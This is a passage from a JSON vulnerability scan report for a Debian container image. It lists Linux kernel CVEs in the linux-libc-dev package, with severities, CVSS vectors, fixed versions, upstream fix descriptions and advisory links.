and\n'index' is put into %ebp across the function call.\n\nRemove the index variable and reposition array_index_nospec(), so it's\ncalculated immediately before the array access.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23354", "https://git.kernel.org/linus/aa280a08e7d8fae58557acc345b36b3dc329d595%20%287.0-rc2%29", "https://git.kernel.org/stable/c/3bc5887b0a2b06d2d9c22f1f4f8500490b3ae643", "https://git.kernel.org/stable/c/92caa5274b99cb6729177232a029ce0dfa6c5f7b", "https://git.kernel.org/stable/c/aa280a08e7d8fae58557acc345b36b3dc329d595", "https://git.kernel.org/stable/c/e58f1a9b0677de24dcfee0b21393446ec92ff120", "https://linux.oracle.com/cve/CVE-2026-23354.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032537-CVE-2026-23354-d9b2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23354", "https://www.cve.org/CVERecord?id=CVE-2026-23354" ], "PublishedDate": "2026-03-25T11:16:33.963Z", "LastModifiedDate": "2026-06-17T10:21:24.957Z" }, { "VulnerabilityID": "CVE-2026-23359", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23359", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:68d338d4e33a7015c1353d4fefa3aa77678d1a96440d350b732c6ab6f794e4d9", "Title": "kernel: bpf: Fix stack-out-of-bounds write in devmap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix stack-out-of-bounds write in devmap\n\nget_upper_ifindexes() iterates over all upper devices and writes their\nindices into an array without checking bounds.\n\nAlso the callers assume that the max number of upper devices is\nMAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack,\nbut that assumption is not correct and the number of upper devices could\nbe larger than MAX_NEST_DEV (e.g., many macvlans), causing a\nstack-out-of-bounds write.\n\nAdd a max parameter to get_upper_ifindexes() to avoid the issue.\nWhen there are too many upper devices, return -EOVERFLOW and abort the\nredirect.\n\nTo reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with\nan XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS.\nThen send a packet to the device to trigger the XDP redirect path.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23359", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/b7bf516c3ecd9a2aae2dc2635178ab87b734fef1%20%287.0-rc2%29", "https://git.kernel.org/stable/c/5000e40acc8d0c36ab709662e32120986ac22e7e", "https://git.kernel.org/stable/c/75d474702b2ba8b6bcb26eb3004dbc5e95ffd5d2", "https://git.kernel.org/stable/c/88df604f0d16a692867582350ce3f2fcd22243f1", "https://git.kernel.org/stable/c/8a95fb9df1105b1618872c2846a6c01e3ba20b45", "https://git.kernel.org/stable/c/b7bf516c3ecd9a2aae2dc2635178ab87b734fef1", "https://git.kernel.org/stable/c/ca831567908fd3f73cf97d8a6c09a5054697a182", "https://git.kernel.org/stable/c/d2c31d8e03d05edc16656e5ffe187f0d1da763d7", "https://linux.oracle.com/cve/CVE-2026-23359.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032538-CVE-2026-23359-35fd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23359", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23359" ], "PublishedDate": "2026-03-25T11:16:34.74Z", "LastModifiedDate": "2026-11-05T22:18:17.09Z" }, { "VulnerabilityID": "CVE-2026-23361", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23361", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0807b8b64213ac24b5a4be907a7431eb4f5441ee680718d5dff49ffbdde53d65", "Title": "kernel: PCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry\n\nEndpoint drivers use dw_pcie_ep_raise_msix_irq() to raise an MSI-X\ninterrupt to the host using a writel(), which generates a PCI posted write\ntransaction. There's no completion for posted writes, so the writel() may\nreturn before the PCI write completes. dw_pcie_ep_raise_msix_irq() also\nunmaps the outbound ATU entry used for the PCI write, so the write races\nwith the unmap.\n\nIf the PCI write loses the race with the ATU unmap, the write may corrupt\nhost memory or cause IOMMU errors, e.g., these when running fio with a\nlarger queue depth against nvmet-pci-epf:\n\n arm-smmu-v3 fc900000.iommu: 0x0000010000000010\n arm-smmu-v3 fc900000.iommu: 0x0000020000000000\n arm-smmu-v3 fc900000.iommu: 0x000000090000f040\n arm-smmu-v3 fc900000.iommu: 0x0000000000000000\n arm-smmu-v3 fc900000.iommu: event: F_TRANSLATION client: 0000:01:00.0 sid: 0x100 ssid: 0x0 iova: 0x90000f040 ipa: 0x0\n arm-smmu-v3 fc900000.iommu: unpriv data write s1 \"Input address caused fault\" stag: 0x0\n\nFlush the write by performing a readl() of the same address to ensure that\nthe write has reached the destination before the ATU entry is unmapped.\n\nThe same problem was solved for dw_pcie_ep_raise_msi_irq() in commit\n8719c64e76bf (\"PCI: dwc: ep: Cache MSI outbound iATU mapping\"), but there\nit was solved by dedicating an outbound iATU only for MSI. We can't do the\nsame for MSI-X because each vector can have a different msg_addr and the\nmsg_addr may be changed while the vector is masked.\n\n[bhelgaas: commit log]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23361", "https://git.kernel.org/linus/c22533c66ccae10511ad6a7afc34bb26c47577e3%20%287.0-rc2%29", "https://git.kernel.org/stable/c/1d35fc94cd723ae27371a31f404685a24b097d71", "https://git.kernel.org/stable/c/5e2fc90018635fc982d39f8c11cd3b368fdaf3b7", "https://git.kernel.org/stable/c/6f60a783860c77b309f7d81003b6a0c73feca49e", "https://git.kernel.org/stable/c/a7afb8f810c04845fdfc58c57d9cf0cc5f23ced0", "https://git.kernel.org/stable/c/c22533c66ccae10511ad6a7afc34bb26c47577e3", "https://git.kernel.org/stable/c/eaa6a56801ddd2d9b4980f19e7fe002b00994804", "https://lore.kernel.org/linux-cve-announce/2026032539-CVE-2026-23361-bd5c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23361", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23361" ], "PublishedDate": "2026-03-25T11:16:35.06Z", "LastModifiedDate": "2026-10-30T13:18:37.14Z" }, { "VulnerabilityID": "CVE-2026-23363", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23363", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60fc44fd4fdf174bfec4c914779078f5b0b5ef08159fd27eec260c534f79cc9d", "Title": "kernel: wifi: mt76: mt7925: Fix possible oob access in mt7925_mac_write_txwi_80211()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7925: Fix possible oob access in mt7925_mac_write_txwi_80211()\n\nCheck frame length before accessing the mgmt fields in\nmt7925_mac_write_txwi_80211 in order to avoid a possible oob access.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23363", "https://git.kernel.org/linus/c41a9abd6ae31d130e8f332e7c8800c4c866234b%20%287.0-rc3%29", "https://git.kernel.org/stable/c/22a6419a8b955df81082285543be3e61816c49b5", "https://git.kernel.org/stable/c/2831a8c574545101e6d0df50785fccb16474eb3c", "https://git.kernel.org/stable/c/3356464e50e1ee15ba3c324ef6cc5a475c2e96e4", "https://git.kernel.org/stable/c/c41a9abd6ae31d130e8f332e7c8800c4c866234b", "https://lore.kernel.org/linux-cve-announce/2026032539-CVE-2026-23363-3e24@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23363", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23363" ], "PublishedDate": "2026-03-25T11:16:35.407Z", "LastModifiedDate": "2026-11-05T22:18:17.337Z" }, { "VulnerabilityID": "CVE-2026-23378", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e6fa4c00f8c723f1854f647baca0e4ca372b0eadfa3258982ef60106fd496ac", "Title": "kernel: net/sched: act_ife: Fix metalist update behavior", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ife: Fix metalist update behavior\n\nWhenever an ife action replace changes the metalist, instead of\nreplacing the old data on the metalist, the current ife code is appending\nthe new metadata. Aside from being innapropriate behavior, this may lead\nto an unbounded addition of metadata to the metalist which might cause an\nout of bounds error when running the encode op:\n\n[ 138.423369][ C1] ==================================================================\n[ 138.424317][ C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.424906][ C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255\n[ 138.425778][ C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full)\n[ 138.425795][ C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n[ 138.425800][ C1] Call Trace:\n[ 138.425804][ C1] \u003cIRQ\u003e\n[ 138.425808][ C1] dump_stack_lvl (lib/dump_stack.c:122)\n[ 138.425828][ C1] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n[ 138.425839][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425844][ C1] ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))\n[ 138.425853][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425859][ C1] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597)\n[ 138.425868][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425878][ C1] kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1))\n[ 138.425884][ C1] __asan_memset (mm/kasan/shadow.c:84 (discriminator 2))\n[ 138.425889][ C1] ife_tlv_meta_encode (net/ife/ife.c:168)\n[ 138.425893][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:171)\n[ 138.425898][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425903][ C1] ife_encode_meta_u16 (net/sched/act_ife.c:57)\n[ 138.425910][ C1] ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114)\n[ 138.425916][ C1] ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3))\n[ 138.425921][ C1] ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45)\n[ 138.425927][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[ 138.425931][ C1] tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879)\n\nTo solve this issue, fix the replace behavior by adding the metalist to\nthe ife rcu data structure.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23378", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/e2cedd400c3ec0302ffca2490e8751772906ac23%20%287.0-rc3%29", "https://git.kernel.org/stable/c/56ade7ddea6ce605552341785d08e365c3f61861", "https://git.kernel.org/stable/c/5b1449301ca070814d866990b46f48d3f39ea4ee", "https://git.kernel.org/stable/c/691866c4cca54dc4df762276b49e89b36e046947", "https://git.kernel.org/stable/c/91a89d3bdc2f63d983adc13d1771631663c5dc1b", "https://git.kernel.org/stable/c/cd888c3966672239f2e0707b846a5a936ac9038a", "https://git.kernel.org/stable/c/e2cedd400c3ec0302ffca2490e8751772906ac23", "https://lore.kernel.org/linux-cve-announce/2026032542-CVE-2026-23378-f329@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23378", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23378" ], "PublishedDate": "2026-03-25T11:16:37.643Z", "LastModifiedDate": "2026-10-15T02:18:53.123Z" }, { "VulnerabilityID": "CVE-2026-23387", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23387", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60577251ad4457cb142093db7e8a8f5470b8cc0414004c2861f3142a340bfc41", "Title": "kernel: pinctrl: cirrus: cs42l43: Fix double-put in cs42l43_pin_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: cirrus: cs42l43: Fix double-put in cs42l43_pin_probe()\n\ndevm_add_action_or_reset() already invokes the action on failure,\nso the explicit put causes a double-put.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23387", "https://git.kernel.org/linus/fd5bed798f45eb3a178ad527b43ab92705faaf8a%20%287.0-rc3%29", "https://git.kernel.org/stable/c/188ba3468cb7c098c62609d82e9fc58d29ead7f4", "https://git.kernel.org/stable/c/1e0465139fd9caee7ffefe285ef7d5f21919e474", "https://git.kernel.org/stable/c/95b14ecc56881dd9a187e1e84dd0daa88ff22c5d", "https://git.kernel.org/stable/c/ea07fcfbba4301839db3784f09955d9fa3e98090", "https://git.kernel.org/stable/c/fd5bed798f45eb3a178ad527b43ab92705faaf8a", "https://lore.kernel.org/linux-cve-announce/2026032544-CVE-2026-23387-4399@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23387", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23387" ], "PublishedDate": "2026-03-25T11:16:39.123Z", "LastModifiedDate": "2026-06-17T10:21:28.877Z" }, { "VulnerabilityID": "CVE-2026-23388", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23388", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c82a70aa265edea15ff08da248963c4ff95050664390ae8e13ffc5613e95b92", "Title": "kernel: Squashfs: check metadata block offset is within range", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nSquashfs: check metadata block offset is within range\n\nSyzkaller reports a \"general protection fault in squashfs_copy_data\"\n\nThis is ultimately caused by a corrupted index look-up table, which\nproduces a negative metadata block offset.\n\nThis is subsequently passed to squashfs_copy_data (via\nsquashfs_read_metadata) where the negative offset causes an out of bounds\naccess.\n\nThe fix is to check that the offset is within range in\nsquashfs_read_metadata. This will trap this and other cases.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23388", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/fdb24a820a5832ec4532273282cbd4f22c291a0d%20%287.0-rc2%29", "https://git.kernel.org/stable/c/01ee0bcc29864b78249308e8b35042b09bbf5fe3", "https://git.kernel.org/stable/c/0c8ab092aec3ac4294940054772d30b511b16713", "https://git.kernel.org/stable/c/3b9499e7d677dd4366239a292238489a804936b2", "https://git.kernel.org/stable/c/3f68a9457a6190814377577374da75f872e0a013", "https://git.kernel.org/stable/c/60f679f643f3f36a8571ea585e4ce5d93ef952b5", "https://git.kernel.org/stable/c/6b847d65f5b0065e02080c61fad93d57d6686383", "https://git.kernel.org/stable/c/9e9fa5ad37c9cbad73c165c7ff1e76e650825e7c", "https://git.kernel.org/stable/c/fdb24a820a5832ec4532273282cbd4f22c291a0d", "https://linux.oracle.com/cve/CVE-2026-23388.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032544-CVE-2026-23388-9e71@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23388", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23388" ], "PublishedDate": "2026-03-25T11:16:39.28Z", "LastModifiedDate": "2026-11-05T22:18:22.79Z" }, { "VulnerabilityID": "CVE-2026-23395", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23395", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b8df637f7ed14fc55fde385d4e7632a06eceeef7da7516b53c4322b70860222", "Title": "kernel: Bluetooth: L2CAP: Fix accepting multiple L2CAP_ECRED_CONN_REQ", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix accepting multiple L2CAP_ECRED_CONN_REQ\n\nCurrently the code attempts to accept requests regardless of the\ncommand identifier which may cause multiple requests to be marked\nas pending (FLAG_DEFER_SETUP) which can cause more than\nL2CAP_ECRED_MAX_CID(5) to be allocated in l2cap_ecred_rsp_defer\ncausing an overflow.\n\nThe spec is quite clear that the same identifier shall not be used on\nsubsequent requests:\n\n'Within each signaling channel a different Identifier shall be used\nfor each successive request or indication.'\nhttps://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-62/out/en/host/logical-link-control-and-adaptation-protocol-specification.html#UUID-32a25a06-4aa4-c6c7-77c5-dcfe3682355d\n\nSo this attempts to check if there are any channels pending with the\nsame identifier and rejects if any are found.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "azure": 4, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": 